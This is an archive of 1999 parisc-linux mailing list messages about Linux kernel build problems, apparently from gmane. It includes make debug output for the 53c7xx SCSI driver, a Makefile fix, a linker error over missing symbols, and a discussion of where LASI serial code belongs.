         Trying pattern rule with stem `script_asm.pl'.
         Trying implicit dependency `RCS/script_asm.pl,v'.
         Trying pattern rule with stem `script_asm.pl'.
         Trying implicit dependency `RCS/script_asm.pl'.
         Trying pattern rule with stem `script_asm.pl'.
         Trying implicit dependency `s.script_asm.pl'.
         Trying pattern rule with stem `script_asm.pl'.
         Trying implicit dependency `SCCS/s.script_asm.pl'.
         Trying pattern rule with stem `script_asm.pl'.
         Trying implicit dependency `script_asm.pl.c'.
         Looking for a rule with intermediate file `script_asm.pl.c'.
          Avoiding implicit rule recursion.
          Trying pattern rule with stem `script_asm.pl'.
          Trying implicit dependency `script_asm.pl.w'.
          Trying pattern rule with stem `script_asm.pl.c'.
          Trying implicit dependency `script_asm.pl.c,v'.
          Trying pattern rule with stem `script_asm.pl.c'.
          Trying implicit dependency `RCS/script_asm.pl.c,v'.
          Trying pattern rule with stem `script_asm.pl.c'.
          Trying implicit dependency `RCS/script_asm.pl.c'.
          Trying pattern rule with stem `script_asm.pl.c'.
          Trying implicit dependency `s.script_asm.pl.c'.
          Trying pattern rule with stem `script_asm.pl.c'.
          Trying implicit dependency `SCCS/s.script_asm.pl.c'.
          Trying pattern rule with stem `script_asm.pl'.
          Trying implicit dependency `script_asm.pl.w'.
          Looking for a rule with intermediate file `script_asm.pl.w'.
           Avoiding implicit rule recursion.
           Avoiding implicit rule recursion.
           Trying pattern rule with stem `script_asm.pl.w'.
           Trying implicit dependency `script_asm.pl.w,v'.
           Trying pattern rule with stem `script_asm.pl.w'.
           Trying implicit dependency `RCS/script_asm.pl.w,v'.
           Trying pattern rule with stem `script_asm.pl.w'.
           Trying implicit dependency `RCS/script_asm.pl.w'.
           Trying pattern rule with stem `script_asm.pl.w'.
           Trying implicit dependency `s.script_asm.pl.w'.
           Trying pattern rule with stem `script_asm.pl.w'.
           Trying implicit dependency `SCCS/s.script_asm.pl.w'.
         Trying pattern rule with stem `script_asm.pl'.
         Trying implicit dependency `script_asm.pl.o'.
         Looking for a rule with intermediate file `script_asm.pl.o'.
          Avoiding implicit rule recursion.
          Trying pattern rule with stem `script_asm.pl'.
          Rejecting impossible implicit dependency `script_asm.pl.c'.
          Trying pattern rule with stem `script_asm.pl'.
          Trying implicit dependency `script_asm.pl.s'.
          Trying pattern rule with stem `script_asm.pl.o'.
          Trying implicit dependency `script_asm.pl.o,v'.
          Trying pattern rule with stem `script_asm.pl.o'.
          Trying implicit dependency `RCS/script_asm.pl.o,v'.
          Trying pattern rule with stem `script_asm.pl.o'.
          Trying implicit dependency `RCS/script_asm.pl.o'.
          Trying pattern rule with stem `script_asm.pl.o'.
          Trying implicit dependency `s.script_asm.pl.o'.
          Trying pattern rule with stem `script_asm.pl.o'.
          Trying implicit dependency `SCCS/s.script_asm.pl.o'.
          Trying pattern rule with stem `script_asm.pl'.
          Trying implicit dependency `script_asm.pl.s'.
          Looking for a rule with intermediate file `script_asm.pl.s'.
           Avoiding implicit rule recursion.
           Avoiding implicit rule recursion.
           Trying pattern rule with stem `script_asm.pl'.
           Rejecting impossible implicit dependency `script_asm.pl.c'.
           Trying pattern rule with stem `script_asm.pl.s'.
           Trying implicit dependency `script_asm.pl.s,v'.
           Trying pattern rule with stem `script_asm.pl.s'.
           Trying implicit dependency `RCS/script_asm.pl.s,v'.
           Trying pattern rule with stem `script_asm.pl.s'.
           Trying implicit dependency `RCS/script_asm.pl.s'.
           Trying pattern rule with stem `script_asm.pl.s'.
           Trying implicit dependency `s.script_asm.pl.s'.
           Trying pattern rule with stem `script_asm.pl.s'.
           Trying implicit dependency `SCCS/s.script_asm.pl.s'.
         No implicit rule found for `script_asm.pl'.
         Finished dependencies of target file `script_asm.pl'.
        No need to remake target `script_asm.pl'.
       Finished dependencies of target file `53c7xx_d.h'.
       Dependency `53c7xx.scr' is older than dependent `53c7xx_d.h'.
       Dependency `script_asm.pl' is older than dependent `53c7xx_d.h'.
      No need to remake target `53c7xx_d.h'.
      Considering target file `53c7xx.c'.
       Looking for an implicit rule for `53c7xx.c'.
       Trying pattern rule with stem `53c7xx'.
       Trying implicit dependency `53c7xx.w'.
       Trying pattern rule with stem `53c7xx.c'.
       Trying implicit dependency `53c7xx.c,v'.
       Trying pattern rule with stem `53c7xx.c'.
       Trying implicit dependency `RCS/53c7xx.c,v'.
       Trying pattern rule with stem `53c7xx.c'.
       Trying implicit dependency `RCS/53c7xx.c'.
       Trying pattern rule with stem `53c7xx.c'.
       Trying implicit dependency `s.53c7xx.c'.
       Trying pattern rule with stem `53c7xx.c'.
       Trying implicit dependency `SCCS/s.53c7xx.c'.
       Trying pattern rule with stem `53c7xx'.
       Trying implicit dependency `53c7xx.w'.
       Looking for a rule with intermediate file `53c7xx.w'.
        Avoiding implicit rule recursion.
        Trying pattern rule with stem `53c7xx.w'.
        Trying implicit dependency `53c7xx.w,v'.
        Trying pattern rule with stem `53c7xx.w'.
        Trying implicit dependency `RCS/53c7xx.w,v'.
        Trying pattern rule with stem `53c7xx.w'.
        Trying implicit dependency `RCS/53c7xx.w'.
        Trying pattern rule with stem `53c7xx.w'.
        Trying implicit dependency `s.53c7xx.w'.
        Trying pattern rule with stem `53c7xx.w'.
        Trying implicit dependency `SCCS/s.53c7xx.w'.
       No implicit rule found for `53c7xx.c'.
       Finished dependencies of target file `53c7xx.c'.
      No need to remake target `53c7xx.c'.
      Considering target file `/linux/linux/include/linux/module.h'.
      File `/linux/linux/include/linux/module.h' was considered already.
      Considering target file `/linux/linux/include/linux/types.h'.
      File `/linux/linux/include/linux/types.h' was considered already.
      Considering target file `/linux/linux/include/asm/setup.h'.
       Looking for an implicit rule for `/linux/linux/include/asm/setup.h'.
       Trying pattern rule with stem `setup.h'.
       Trying implicit dependency `/linux/linux/include/asm/setup.h,v'.
       Trying pattern rule with stem `setup.h'.
       Trying implicit dependency `/linux/linux/include/asm/RCS/setup.h,v'.
       Trying pattern rule with stem `setup.h'.
       Trying implicit dependency `/linux/linux/include/asm/RCS/setup.h'.
       Trying pattern rule with stem `setup.h'.
       Trying implicit dependency `/linux/linux/include/asm/s.setup.h'.
       Trying pattern rule with stem `setup.h'.
       Trying implicit dependency `/linux/linux/include/asm/SCCS/s.setup.h'.
       No implicit rule found for `/linux/linux/include/asm/setup.h'.
       Finished dependencies of target file `/linux/linux/include/asm/setup.h'.
      No need to remake target `/linux/linux/include/asm/setup.h'.
      Considering target file `/linux/linux/include/asm/dma.h'.
      File `/linux/linux/include/asm/dma.h' was considered already.
      Considering target file `/linux/linux/include/asm/io.h'.
      File `/linux/linux/include/asm/io.h' was considered already.
      Considering target file `/linux/linux/include/asm/system.h'.
      File `/linux/linux/include/asm/system.h' was considered already.
      Considering target file `/linux/linux/include/linux/delay.h'.
      File `/linux/linux/include/linux/delay.h' was considered already.
      Considering target file `/linux/linux/include/linux/signal.h'.
       Looking for an implicit rule for `/linux/linux/include/linux/signal.h'.
       Trying pattern rule with stem `signal.h'.
       Trying implicit dependency `/linux/linux/include/linux/signal.h,v'.
       Trying pattern rule with stem `signal.h'.
       Trying implicit dependency `/linux/linux/include/linux/RCS/signal.h,v'.
       Trying pattern rule with stem `signal.h'.
       Trying implicit dependency `/linux/linux/include/linux/RCS/signal.h'.
       Trying pattern rule with stem `signal.h'.
       Trying implicit dependency `/linux/linux/include/linux/s.signal.h'.
       Trying pattern rule with stem `signal.h'.
       Trying implicit dependency `/linux/linux/include/linux/SCCS/s.signal.h'.
       No implicit rule found for `/linux/linux/include/linux/signal.h'.
       Finished dependencies of target file `/linux/linux/include/linux/signal.h'.
      No need to remake target `/linux/linux/include/linux/signal.h'.
      Considering target file `/linux/linux/include/linux/sched.h'.
      File `/linux/linux/include/linux/sched.h' was considered already.
      Considering target file `/linux/linux/include/linux/errno.h'.
      File `/linux/linux/include/linux/errno.h' was considered already.
      Considering target file `/linux/linux/include/linux/proc_fs.h'.
      File `/linux/linux/include/linux/proc_fs.h' was considered already.
      Considering target file `/linux/linux/include/linux/string.h'.
      File `/linux/linux/include/linux/string.h' was considered already.
      Considering target file `/linux/linux/include/linux/malloc.h'.
      File `/linux/linux/include/linux/malloc.h' was considered already.
      Considering target file `/linux/linux/include/linux/vmalloc.h'.
       Looking for an implicit rule for `/linux/linux/include/linux/vmalloc.h'.
       Trying pattern rule with stem `vmalloc.h'.
       Trying implicit dependency `/linux/linux/include/linux/vmalloc.h,v'.
       Trying pattern rule with stem `vmalloc.h'.
       Trying implicit dependency `/linux/linux/include/linux/RCS/vmalloc.h,v'.
       Trying pattern rule with stem `vmalloc.h'.
       Trying implicit dependency `/linux/linux/include/linux/RCS/vmalloc.h'.
       Trying pattern rule with stem `vmalloc.h'.
       Trying implicit dependency `/linux/linux/include/linux/s.vmalloc.h'.
       Trying pattern rule with stem `vmalloc.h'.
       Trying implicit dependency `/linux/linux/include/linux/SCCS/s.vmalloc.h'.
       No implicit rule found for `/linux/linux/include/linux/vmalloc.h'.
       Finished dependencies of target file `/linux/linux/include/linux/vmalloc.h'.
      No need to remake target `/linux/linux/include/linux/vmalloc.h'.
      Considering target file `/linux/linux/include/linux/mm.h'.
      File `/linux/linux/include/linux/mm.h' was considered already.
      Considering target file `/linux/linux/include/linux/ioport.h'.
      File `/linux/linux/include/linux/ioport.h' was considered already.
      Considering target file `/linux/linux/include/linux/time.h'.
       Looking for an implicit rule for `/linux/linux/include/linux/time.h'.
       Trying pattern rule with stem `time.h'.
       Trying implicit dependency `/linux/linux/include/linux/time.h,v'.
       Trying pattern rule with stem `time.h'.
       Trying implicit dependency `/linux/linux/include/linux/RCS/time.h,v'.
       Trying pattern rule with stem `time.h'.
       Trying implicit dependency `/linux/linux/include/linux/RCS/time.h'.
       Trying pattern rule with stem `time.h'.
       Trying implicit dependency `/linux/linux/include/linux/s.time.h'.
       Trying pattern rule with stem `time.h'.
       Trying implicit dependency `/linux/linux/include/linux/SCCS/s.time.h'.
       No implicit rule found for `/linux/linux/include/linux/time.h'.
       Finished dependencies of target file `/linux/linux/include/linux/time.h'.
      No need to remake target `/linux/linux/include/linux/time.h'.
      Considering target file `/linux/linux/include/linux/blk.h'.
      File `/linux/linux/include/linux/blk.h' was considered already.
      Considering target file `/linux/linux/include/asm/spinlock.h'.
      File `/linux/linux/include/asm/spinlock.h' was considered already.
      Considering target file `/linux/linux/include/asm/pgtable.h'.
      File `/linux/linux/include/asm/pgtable.h' was considered already.
      Considering target file `/linux/linux/include/asm/irq.h'.
      File `/linux/linux/include/asm/irq.h' was considered already.
      Considering target file `/linux/linux/include/asm/pgtable.h'.
      File `/linux/linux/include/asm/pgtable.h' was considered already.
      Considering target file `/linux/linux/include/asm/pgtable.h'.
      File `/linux/linux/include/asm/pgtable.h' was considered already.
      Considering target file `/linux/linux/include/config/gecko/lasi.h'.
      File `/linux/linux/include/config/gecko/lasi.h' was considered already.
      Considering target file `/linux/linux/include/asm/gsc.h'.
       Looking for an implicit rule for `/linux/linux/include/asm/gsc.h'.
       Trying pattern rule with stem `gsc.h'.
       Trying implicit dependency `/linux/linux/include/asm/gsc.h,v'.
       Trying pattern rule with stem `gsc.h'.
       Trying implicit dependency `/linux/linux/include/asm/RCS/gsc.h,v'.
       Trying pattern rule with stem `gsc.h'.
       Trying implicit dependency `/linux/linux/include/asm/RCS/gsc.h'.
       Trying pattern rule with stem `gsc.h'.
       Trying implicit dependency `/linux/linux/include/asm/s.gsc.h'.
       Trying pattern rule with stem `gsc.h'.
       Trying implicit dependency `/linux/linux/include/asm/SCCS/s.gsc.h'.
       No implicit rule found for `/linux/linux/include/asm/gsc.h'.
       Finished dependencies of target file `/linux/linux/include/asm/gsc.h'.
      No need to remake target `/linux/linux/include/asm/gsc.h'.
      Considering target file `scsi.h'.
      File `scsi.h' was considered already.
      Considering target file `hosts.h'.
      File `hosts.h' was considered already.
      Considering target file `53c7xx.h'.
      File `53c7xx.h' was considered already.
      Considering target file `constants.h'.
      File `constants.h' was considered already.
      Considering target file `sd.h'.
      File `sd.h' was considered already.
      Considering target file `/linux/linux/include/linux/stat.h'.
      File `/linux/linux/include/linux/stat.h' was considered already.
      Considering target file `/linux/linux/include/linux/stddef.h'.
      File `/linux/linux/include/linux/stddef.h' was considered already.
      Considering target file `53c7xx_d.h'.
      File `53c7xx_d.h' was considered already.
      Considering target file `53c7xx_u.h'.
       Looking for an implicit rule for `53c7xx_u.h'.
       Trying pattern rule with stem `53c7xx_u.h'.
       Trying implicit dependency `53c7xx_u.h,v'.
       Trying pattern rule with stem `53c7xx_u.h'.
       Trying implicit dependency `RCS/53c7xx_u.h,v'.
       Trying pattern rule with stem `53c7xx_u.h'.
       Trying implicit dependency `RCS/53c7xx_u.h'.
       Trying pattern rule with stem `53c7xx_u.h'.
       Trying implicit dependency `s.53c7xx_u.h'.
       Trying pattern rule with stem `53c7xx_u.h'.
       Trying implicit dependency `SCCS/s.53c7xx_u.h'.
       No implicit rule found for `53c7xx_u.h'.
        Considering target file `53c7xx_d.h'.
        File `53c7xx_d.h' was considered already.
       Finished dependencies of target file `53c7xx_u.h'.
       Dependency `53c7xx_d.h' is older than dependent `53c7xx_u.h'.
      No commands for `53c7xx_u.h' and no dependencies actually changed.
      No need to remake target `53c7xx_u.h'.
      Considering target file `scsi_module.c'.
       Looking for an implicit rule for `scsi_module.c'.
       Trying pattern rule with stem `scsi_module'.
       Trying implicit dependency `scsi_module.w'.
       Trying pattern rule with stem `scsi_module.c'.
       Trying implicit dependency `scsi_module.c,v'.
       Trying pattern rule with stem `scsi_module.c'.
       Trying implicit dependency `RCS/scsi_module.c,v'.
       Trying pattern rule with stem `scsi_module.c'.
       Trying implicit dependency `RCS/scsi_module.c'.
       Trying pattern rule with stem `scsi_module.c'.
       Trying implicit dependency `s.scsi_module.c'.
       Trying pattern rule with stem `scsi_module.c'.
       Trying implicit dependency `SCCS/s.scsi_module.c'.
       Trying pattern rule with stem `scsi_module'.
       Trying implicit dependency `scsi_module.w'.
       Looking for a rule with intermediate file `scsi_module.w'.
        Avoiding implicit rule recursion.
        Trying pattern rule with stem `scsi_module.w'.
        Trying implicit dependency `scsi_module.w,v'.
        Trying pattern rule with stem `scsi_module.w'.
        Trying implicit dependency `RCS/scsi_module.w,v'.
        Trying pattern rule with stem `scsi_module.w'.
        Trying implicit dependency `RCS/scsi_module.w'.
        Trying pattern rule with stem `scsi_module.w'.
        Trying implicit dependency `s.scsi_module.w'.
        Trying pattern rule with stem `scsi_module.w'.
        Trying implicit dependency `SCCS/s.scsi_module.w'.
       No implicit rule found for `scsi_module.c'.
       Finished dependencies of target file `scsi_module.c'.
      No need to remake target `scsi_module.c'.
      Considering target file `dummy'.
       File `dummy' does not exist.
       Finished dependencies of target file `dummy'.
      Must remake target `dummy'.
      Successfully remade target file `dummy'.
     Finished dependencies of target file `53c7xx.o'.
     Dependency `53c7xx_d.h' is older than dependent `53c7xx.o'.
     Dependency `53c7xx.c' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/linux/module.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/linux/types.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/asm/setup.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/asm/dma.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/asm/io.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/asm/system.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/linux/delay.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/linux/signal.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/linux/sched.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/linux/errno.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/linux/proc_fs.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/linux/string.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/linux/malloc.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/linux/vmalloc.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/linux/mm.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/linux/ioport.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/linux/time.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/linux/blk.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/asm/spinlock.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/asm/pgtable.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/asm/irq.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/asm/pgtable.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/asm/pgtable.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/config/gecko/lasi.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/asm/gsc.h' is older than dependent `53c7xx.o'.
     Dependency `scsi.h' is older than dependent `53c7xx.o'.
     Dependency `hosts.h' is older than dependent `53c7xx.o'.
     Dependency `53c7xx.h' is older than dependent `53c7xx.o'.
     Dependency `constants.h' is older than dependent `53c7xx.o'.
     Dependency `sd.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/linux/stat.h' is older than dependent `53c7xx.o'.
     Dependency `/linux/linux/include/linux/stddef.h' is older than dependent `53c7xx.o'.
     Dependency `53c7xx_d.h' is older than dependent `53c7xx.o'.
     Dependency `53c7xx_u.h' is older than dependent `53c7xx.o'.
     Dependency `scsi_module.c' is older than dependent `53c7xx.o'.
     Dependency `dummy' does not exist.
    Must remake target `53c7xx.o'.
make[3]: Entering directory `/linux/linux/drivers/scsi'
...


From - Thu Nov 08 21:16:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "William M. Brack" <wbrack@mmm.com.hk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rebuild of 53c7xx.o
Date: Sun, 17 Oct 1999 17:48:40 +0800
Lines: 37
Approved: news@gmane.org
Message-ID: <001e01bf1884$cd0d16c0$16f950cb@80.249.6.mmm.com.hk>
References: <199910170225.TAA25426@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619794 14286 80.91.229.3 (22 Nov 2014 01:29:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:54 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: wbrack@mmm.com.hk  Sun Oct 17 03:48:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA13744
	for <parisc-linux@puffin.external.hp.com>; Sun, 17 Oct 1999 03:48:05 -0600
Original-Received: (qmail 23159 invoked by uid 15267); 17 Oct 1999 09:48:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23137 invoked from network); 17 Oct 1999 09:48:52 -0000
Original-Received: from 249user06.ctinets.com (HELO mmm.com.hk) (root@203.80.249.6)
  by mailserv2.iuinc.com with SMTP; 17 Oct 1999 09:48:52 -0000
Original-Received: from 203 ([203.80.249.22]) by mmm.com.hk
	 with smtp id m11cmtl-000KGwC
	(Smail Smail-3.2.0.106 1999-Mar-31 #7); Sun, 17 Oct 1999 17:46:41 +0800 (HKT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:10025

This is caused because the Makefile in drivers/scsi has an explicit rule for
making 53c7xx.o which invokes $(CC).  To fix it, just edit the makefile and
delete the line

    $(CC) $(CFLAGS) -c 53c7xx.c

which follows

53c7xx.o : 53c7xx_d.h 53c7xx.c


Regards,

Bill Brack
Hong Kong

----- Original Message -----
From: Grant Grundler <grundler@cup.hp.com>
To: <parisc-linux@thepuffingroup.com>
Sent: Sunday, October 17, 1999 10:25 AM
Subject: [parisc-linux] rebuild of 53c7xx.o

> It was annoying me that 53c7xx.o was getting rebuilt on every
> build....So I tried to figure out why.  The basic problem is
> "dummy" target (from Rules.make?) is invoked and fails when comparing
> time stamps. But I don't see where/why 53c7xx.o has dummy as a dependent.
> I think fixing this should fix the problem.
>
> Appended is relevant "make -d" output.
> (The whole output is 531846 lines).
> Does someone see the problem and/or know how to fix it?
>
> thanks,
> grant
>



From - Thu Nov 08 21:16:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ld: Unsatisfied symbols: csum_partial (code)
Date: Mon, 18 Oct 1999 00:34:58 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <99101800363200.14826@P100>
References: <199910170156.SAA25411@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619794 14289 80.91.229.3 (22 Nov 2014 01:29:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:54 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Sun Oct 17 16:35:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA16080
	for <parisc-linux@puffin.external.hp.com>; Sun, 17 Oct 1999 16:35:46 -0600
Original-Received: (qmail 14262 invoked by uid 15267); 17 Oct 1999 22:36:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14252 invoked from network); 17 Oct 1999 22:36:36 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 17 Oct 1999 22:36:36 -0000
Original-Received: (qmail 1562 invoked from network); 17 Oct 1999 22:36:33 -0000
Original-Received: from dialppp-1-139.rz.ruhr-uni-bochum.de (HELO P100) (root@134.147.1.139)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 17 Oct 1999 22:36:33 -0000
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:10026

Am Sun, 17 Oct 1999 schrieb Grant Grundler:
> I have a "vanilla" CVS tree and am getting the following
> linker error:
> ld -R 0xc0010000 -N -e stext arch/parisc/kernel/head.o arch/parisc/kernel/init_task.o init/main.o init/version.o \
>         arch/parisc/boot/ramdisk.o arch/parisc/kernel/kernel.o arch/parisc/mm/mm.o kernel/kernel.o mm/mm.o fs/fs.o ipc/ipc.o \
>         fs/filesystems.a \
>         net/network.a \
>         drivers/block/block.a drivers/char/char.a drivers/gecko/gecko.a  drivers/net/net.a drivers/scsi/scsi.a drivers/pci/pci.a \
>         /linux/linux/arch/parisc/lib/lib.a /linux/linux/lib/lib.a /linux/linux/arch/parisc/lib/lib.a \
>         -o vmlinux
> ld: Unsatisfied symbols:
>    csum_partial (code)
>    serial_console_init (code)
> make[1]: *** [vmlinux-real] Error 1
> 
> Any clue what's broken?
> Someone submit code recently which touched these functions?
> 
> thanks,
> grant



Hi Grant,

serial_console_init was my fault.
This should now be corrected in the CVS, but I cant verify the csum_partial
error here .....

Helge.


From - Thu Nov 08 21:16:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ld: Unsatisfied symbols: csum_partial (code)
Date: Sun, 17 Oct 1999 21:41:07 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <199910180441.VAA26016@milano.cup.hp.com>
References: <99101800363200.14826@P100>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619795 14291 80.91.229.3 (22 Nov 2014 01:29:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Original-X-From: grundler@cup.hp.com  Sun Oct 17 22:40:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA17331
	for <parisc-linux@puffin.external.hp.com>; Sun, 17 Oct 1999 22:40:26 -0600
Original-Received: (qmail 2507 invoked by uid 15267); 18 Oct 1999 04:41:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2496 invoked from network); 18 Oct 1999 04:41:16 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 18 Oct 1999 04:41:16 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id VAA22932
	for <parisc-linux@thepuffingroup.com>; Sun, 17 Oct 1999 21:41:15 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id VAA26016; Sun, 17 Oct 1999 21:41:11 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 18 Oct 1999 00:34:58 PDT."
             <99101800363200.14826@P100> 
Xref: news.gmane.org gmane.linux.ports.parisc:10027

Helge Deller wrote:
> Hi Grant,
> 
> serial_console_init was my fault.
> This should now be corrected in the CVS, but I cant verify the csum_partial
> error here.

Thanks Helge.
I can't reproduce csum_partial error either after doing "make dep". :^)
I've cc'd parisc-linux as a reminder for others...

grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@rock.cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] lasi Serial support
Date: Sun, 17 Oct 1999 22:37:45 -0700 (PDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <199910180537.WAA20422@rock.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619795 14294 80.91.229.3 (22 Nov 2014 01:29:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:55 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@rock.cup.hp.com  Sun Oct 17 23:37:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA17831
	for <parisc-linux@puffin.external.hp.com>; Sun, 17 Oct 1999 23:37:20 -0600
Original-Received: (qmail 12577 invoked by uid 15267); 18 Oct 1999 05:38:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12570 invoked from network); 18 Oct 1999 05:38:11 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 18 Oct 1999 05:38:11 -0000
Original-Received: from rock.cup.hp.com (rock.cup.hp.com [15.16.123.90])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id BAA13805
	for <parisc-linux@thepuffingroup.com>; Mon, 18 Oct 1999 01:37:24 -0400 (EDT)
Original-Received: (from grundler@localhost) by rock.cup.hp.com (8.8.6 (PHNE_16852)/8.7.1) id WAA20422 for parisc-linux@thepuffingroup.com; Sun, 17 Oct 1999 22:37:45 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:10028

Hi all,
I just submitted another change to drivers/gecko/lasi.c after reviewing
the code and noting the IMR was being written twice in a row.

But I mainly write to question the location of LASI serial port code.
I don't know if it's "right" to have this code in lasi.c.  I'd like
to understand if it is and why. I'm confused because Lasi SCSI support
is in lasi7xx.c.  Is it reasonable to create a lasi_RS232.c (or whatever)?

And I'm thinking keeping the lasi.c/h files smaller is a good thing.
One can also modularize the support better (ie put the ifdef in the
Makefile instead).  Other thoughts on this?
If it's the "right" thing to do, any volunteers?

thanks,
grant


From - Thu Nov 08 21:16:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dkennedy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lasi Serial support
Date: Mon, 18 Oct 1999 14:59:34 -0400 (EDT)
Lines: 47
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910181450550.14265-100000@grasshopper.thepuffingroup.com>
References: <199910180537.WAA20422@rock.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
